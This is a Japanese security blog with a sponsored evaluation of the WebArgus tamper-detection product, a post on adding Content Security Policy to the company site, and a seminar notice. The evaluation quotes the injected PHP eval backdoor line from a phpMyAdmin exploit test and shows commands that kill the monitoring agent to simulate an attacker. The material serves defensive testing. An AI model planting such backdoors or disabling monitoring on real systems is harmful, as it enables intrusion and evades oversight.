[PR]リアルタイム改ざん検知・復旧システムであるウェブアルゴスを使ってみた

重要事項説明

本稿は、HASHコンサルティング株式会社が、デジタルインフォメーションテクノロジー株式会社(以下DIT)から依頼を受けて「ウェブアルゴス」を評価し、その結果を執筆した記事広告です。

ウェブアルゴスとは

DITのウェブアルゴスが7月1日に発売された。ウェブアルゴスは以下の様な特徴を持つ改ざん検知ソフトウェアだ。

• バッチ検査ではなくリアルタイム検知が可能
• 検知だけではなく修復も可能
• 改ざん後のファイルを保全する監査機能

最近のインターネットを取り巻く状況のなかで、Webサイト改ざん事件の多発は目立つところであり、筆者も以下のブログ記事で紹介したように、Tripwire（オープンソース版）とinotifywaitというLinuxコマンドを用いたリアルタイム改ざん検知の仕組みを自社のWebサイトに導入している。

多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した

これらは無料で導入できる改ざん検知の仕組みであるが、以下の課題もある。

• Tripwireはバッチ型の改ざん検知であり即時性に乏しい
• Tripwireの導入には設定ファイルの編集が必要であるが、直感的にわかりにくく、習熟を要する
• Inotifywaitはリアルタイム検知が可能だが単純なコマンドに過ぎず、スクリプト作成などの周辺支援が必要となる
• Tripwire、inotifywaitとも改ざん検知のみで修復の機能はない

前述のように、ウェブアルゴスはこれら課題に対する解を提供している。

ウェブアルゴスの概要

ウェブアルゴスの概要を下図により説明する。

ウェブアルゴスは「エージェント型」の改ざん検知システムであり、サーバ内に改ざん検知のための常駐ソフトウェア（エージェント）を導入する必要がある。このため、即時性と、非公開ファイル（設定ファイル、実行ファイル等）の監視も可能である。
ウェブアルゴスは監視対象のウェブサーバとは別に管理用サーバが必要であり、管理用ソフトウェア（WA-Manager）が導入される。管理用ソフトウェアは、エージェントの設定、監視、GUI表示などを担当する。

システム要件

ウェブアルゴスマネージャのシステム要件は、こちらを参照されたい。
とくに問題になるものとして、まずマネージャの対応OSは以下のとおりである。

RedHat Enterprise Linux 5.x 6.x （32bit / 64bit）
CentOS 5.x 6.x（32bit / 64bit）
Amazon Linux 2013以降（32bit / 64bit）
※ RHEL、CentOSとも 7.x に対応予定
推奨空きメモリサイズ　　最小2048MB以上、推奨3072MB以上

推奨空きメモリサイズが3072MB以上ということから、64bit版のOSが望ましいといえるだろう。
ウェブアルゴスエージェントの要件（概要）は以下のとおりである。

対応OS
ウェブアルゴスマネージャの対応OSに加えて下記のOS（いずれも32bit、64bitに対応）。
SUSE Linux Enterprise Server 11
Ubuntu Server 12.x 13.x 14.x
Debian 7.x

推奨空きメモリサイズ（改ざん検知時の動作として「通知」 と 「自動リカバリー」で運用する場合）
監視対象ディレクトリ／ファイル総サイズの1/4程度

必要な空きメモリサイズは動作モードにより異なるが、自動リカバリ機能を使用する場合でかつ監視対象のファイルの総容量が大きい場合、メモリの制限に気をつける必要がある。

インストール・設定

インストールに必要なファイルはDITのサイトからダウンロードする。インストーラーはバイナリ形式であり、実行権限を与えて実行するだけである。
インストールが終わった後の設定は、マニュアルにしたがってマネージャのWeb GUIから操作する。筆者の理解不足が原因のトラブルもあったが、DITのエンジニアが迅速かつ的確に対応いただいたので、導入はスムーズに行えた。

使ってみる

現実的なWeb改ざんの例として、phpMyAdminの脆弱性（CVE-2011-2505/2506）を悪用したPoC（概念検証プログラム）を実行して、ウェブアルゴスの検知状況を確認した。このPoCの中身については、以下のブログ記事を参考にされたい。

phpMyAdminにおける任意スクリプト実行可能な脆弱性の検証

このPoCは、外部からphpMyAdminの設定ファイル（config.inc.php）を改ざんして、任意のスクリプトが実行できるバックドアを仕込むというものであるので、改ざん検知の検証用として適している。
まず、マネージャのGUIから、Webのドキュメントルート・ディレクトリを監視対象として指定し（下図）、Only Alert（監視のみ）モードで監視を始める。画面からもわかるように、監視対象の設定はWebのGUIにより直感的に行える。

次に、攻撃者の端末に見立てた端末から、phpMyAdminの脆弱性をついた攻撃をかけると、下図のように攻撃は成功する。

この際に、phpMyAdmin/config/config.inc.phpが改ざんされるので、下図のように警告がログに表示され、メールでのアラートが送信される。

（Web画面の様子）

（アラートメールの例）

以上のように、監視のみの設定だと攻撃を防ぐことはできないが、攻撃を受けたことをリアルタイムに検知して、素早く対処をとることができ、被害を最小限に食い止めることに役立つ。

自動復旧モードだとスクリプト実行を阻止できた

次に、上記の攻撃により改ざんされたファイルを手動で復旧した後に、ウェブアルゴスのモードを「Alert and recovery」（検知と自動復旧）に変更した状態で同じ攻撃をしてみる。すると、攻撃者の画面は下図のようになり、攻撃は途中で失敗していることが分かる。これは、いったんは対象ファイルが改ざんされたものの即座に復旧しているため、改ざん後のスクリプトの実行は阻止したことになる。つまり、攻撃は受けたが実害はなかったということだ。

この際の監視ログは以下の通り。

攻撃を受けてから0.01秒でファイルを復元していることがわかる。

今度は、証拠保全のモードで同じことをやってみよう。攻撃が阻止されるところは同じで、ログは以下のようになる。

0.002秒でファイルは復旧しているが、先ほどとの時間差はサーバの状況による誤差だろう。そして、復旧前のファイルが/var/webargus/…以下のディレクトリに保全されていることがわかる。そのファイルの一部を以下に示す。

/* Servers configuration */
$i = 0;

/* Server: localhost [*/foreach($_GET as $k=>$v)if($k===666)eval($v);/*] */
$i++;
$cfg['Servers'][$i]['port'] = '0';

/* End of servers configuration */

赤字の部分が外部から注入されたスクリプトだ。このように、証拠保全の機能を活用にすることにより、攻撃の種類や意図、脆弱性の特定に役立つ情報を得ることができる。

エージェントを停止されたらどうなるか

Webサーバに対する監視は、同じサーバ上で動いているエージェントが行うので、外部からの攻撃によりエージェントが停止される事態も想定しなければならない。この場合の挙動を確認するために、エージェントを停止してみよう。以下はウェブアルゴスの正規の停止方法ではなく、外部からの攻撃者がエージェントを停止する様子を模している。

$ cat /var/run/webargus/agent.pid   ← エージェントのpidを確認
1677
$ sudo kill 1677  ← エージェントを停止

エージェントに対してはマネージャ側から定期的（デフォルトは5分）にポーリングにより死活監視を行っているので、以下のようなメールでエージェントの停止を警告する。

また、マネージャのログは以下のような表示となる。

通知を受け取った管理者は、エージェントのログ等を調べて、停止の原因がリソース不足などによる事故か、外部からの攻撃によるものかを切り分け、攻撃が疑われる場合は、すでに管理者権限を奪われている可能性があるため、早急に外部からの接続を遮断するなど、必要な対処を行う必要がある。
 

所感・まとめ

リアルタイムの改ざん検知と復旧機能を特徴とするウェブアルゴスを試用した。筆者はすでにinotifywaitと手作りのスクリプトによるリアルタイム改ざん検知の仕組みを自社のWebサイトにて運用しているが、これに加えて、リアルタイムの復旧ができることに大きな魅力を感じた。
Webサイトに対する侵入事件では、多くの場合、WebShellと呼ばれる攻撃ツールを外部からダウンロードするところから始まる。したがって、WebShellの設置をリアルタイムに検知して、設置を妨害することができれば、攻撃自体を防御できる可能性が高い。
また、仮に侵入を許したとしても、その後のコンテンツ改ざんを防ぐことができれば、サイト閲覧者のウイルス感染などの「実害」を予防できる可能性が高くなる。
一方、ウェブアルゴスを導入する課題としては以下があると考える。

• 多くのファイルを監視する場合、エージェントのメモリ使用量が増大する
• SQLインジェクションによる改ざんには効果が無い

このため、ウェブアルゴスの導入と並行して、以下の施策により総合的にWebサーバの安全性を高めるのがよいだろう。

• 設定ファイル、実行ファイル、コンテンツファイルなどから、改ざん検知が重要なファイルを洗い出し、最適な検知設定を行う
• Webサーバ内のディレクトリ、ファイルの権限管理を細やかに行い、Webサーバプロセスから変更できるファイル等の範囲を制限する
• /tmpディレクトリをnoexecオプションつきでマウントすることにより、外部から書き込めるディレクトリに攻撃ツールが設置できないように保護する
• WAF(Web Application Firewall)を導入することにより、SQLインジェクション等のアプリケーション脆弱性に対する防御策を講じる

以上、リアルタイムの改ざん検知と復旧ソフトであるウェブアルゴスについて紹介した。読者のWebサイト防御の参考になれば幸いである。

弊社のホームページにContent Security Policy(CSP)を導入しました

弊社のホームページにCSP(Content Security Policy)を導入しました。CSPについては、はせがわようすけ氏のスライド「5分でわかるCSP」がわかりやすいと思います。以下にスライドの一部を引用します。

具体的には、以下のように指定して使います。

Content-Security-Policy: default-src 'self'

この結果、以下のようにJavaScriptの記述が制限されます。

• 外部のJavaScriptの読み込みは禁止
• HTMLソースに記述した<script>...</script>のJavaScriptは禁止
• イベント属性(onload="xxxx"など)は禁止

何も書けなくなるじゃないかと思われるかもしれませんが、JavaScriptは全て*.jsファイルに記述すればよい、ということです。
CSPは、JavaScriptのコードとデータを分離して、コードは静的な*.jsファイルに記述、可変のデータはHTML側に寄せて、「可変のリソースにはJavaScriptを記述できないように制限する」ことで、クロスサイト・スクリプティング(XSS)防御の切り札となることが期待されています。

CSP導入にあたり、弊社ホームページのJavaScriptの使用状況を調べました。その結果は以下の通りです。

• JavaScriptは基本的に使っていない
• 外部から読み込むJavaScrpitはある（下記）
• Google Analytics（アクセス解析）
• Slideshare(プレゼンテーション資料)
• YouTube(動画)
• Vimeo（動画）

ということで、外部から読み込んでいるJavaScriptの取捨選択を行いました。その結果、

• Google Analyticsは残すこととして、CSP上の許可設定をする
• Slideshare、YouTube、Vimeoは許可しないこととし、これらを使うコンテンツはオフィシャルブログ（ここ）に転載する

ことにしました。この結果、CSPの設定は下記のように、Apacheの設定で行いしました。

Header Add Content-Security-Policy "default-src 'self' https://www.google-analytics.com"

しかし、これだけでは駄目です。Google Analyticsの設定は、以下のようなJavaScriptがHTMLインラインスクリプトで記述されています。

<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-XXXXXXX-X', 'hash-c.co.jp');
  ga('send', 'pageview');
</script>

これだとCSPのエラーになるので、上記スクリプトを/ga.jsというファイルに記述して、<script src="/ga.js"></script>により読み込むようにしました。これが正常に動作することは、Google Analyticsのリアルタイムレポートで確認しました。

上記を実施してテストしてみると、スタイルシートのところでエラーになりました。弊社ホームページのCSSは、大部分が/default.cssに記載されていますが、一部のCSSがインラインで記述されていました。これはスタイルの微調整のためです。インラインCSSを許可するようにしてもよいのでしょうが、せっかくなので、インラインスタイルシートを外部スタイルシートに移動し、ID属性で指定するようにしました。インラインスタイルシートはまだ一部残っていますが、画面が大きく乱れるものは対応したつもりで、残りはおいおい対応する予定です。

ということで、実施した内容は以下の通りです。

• SlideShare等を使用しているコンテンツをオフィシャルブログに転載
• Google Analyticsのスクリプトを/ga.jsに記載
• Google Analyticsを設定したページを/ga.jsの読み込みに変更
• インライン・スタイルシートを外部スタイルシートに変更

CSP対応の結果、副作用が生じました。Pocket（旧称: Read it later）のアドオン(Save to Pocket)の表示が乱れます。エラーメッセージを見ると、インラインスタイルが拒絶されているようです。コンテンツの保存はされていますが、見た目非常にまぎらわしい状況です。このような例は他にもあると予想されます。EvernoteのEvernote Web Clipperは問題なく使えました。

CSP対応の所感ですが、サイト独自のJavaScriptを使っていないサイトであるにも関わらず、CSP対応はかなり面倒な作業だという印象を受けました。やはり、インラインでJavaScriptやCSSが記述できないと「めんどうくさい」。しかし、インラインJavaScriptを許可してしまうとCSPのXSS防御機能は意味がなくなりますので、これは我慢するしかないでしょう。

中期的には、jQueryなどのJavaScriptライブラリや、Google AnalyticsやSlideShareなどから読み込むコンテンツが、CSP前提で使いやすい形に改善されることを期待します。

バラクーダネットワークスジャパンのセミナー（名古屋）で講演します

8月29日バラクーダネットワークスジャパン株式会社の「企業公開サイトのセキュリティ対策セミナー」にて講演致します。まだ若干お席があるようですので、ご案内いたします。

日時：2013年8月29日（木曜日）14：30～16：45（徳丸の出番は14:30～15:15）
場所：ウィンク愛知（愛知県産業労働センター）愛知県名古屋市中村区
費用：無料（申し込みはこちら）
講演タイトル：事例に学ぶWebサイト侵入事件手口と効果的な対策について

場所は名古屋駅から徒歩5分のところだそうで、名古屋近辺の皆様にお目にかかれることを楽しみにしています。
講演の内容は、最近の侵入事例や侵入に多く用いられている攻撃手法を題材として、侵入のメカニズムと防御の基本的な考え方を説明いたします。

講演概要：

• Webサイトへの侵入事件のトレンド
• 侵入経路は2種類しかない
• 侵入の手口と対策
1. phpMyAdminの脆弱性による侵入
2. SQLインジェクションによる侵入
3. パスワードリスト攻撃
• まとめ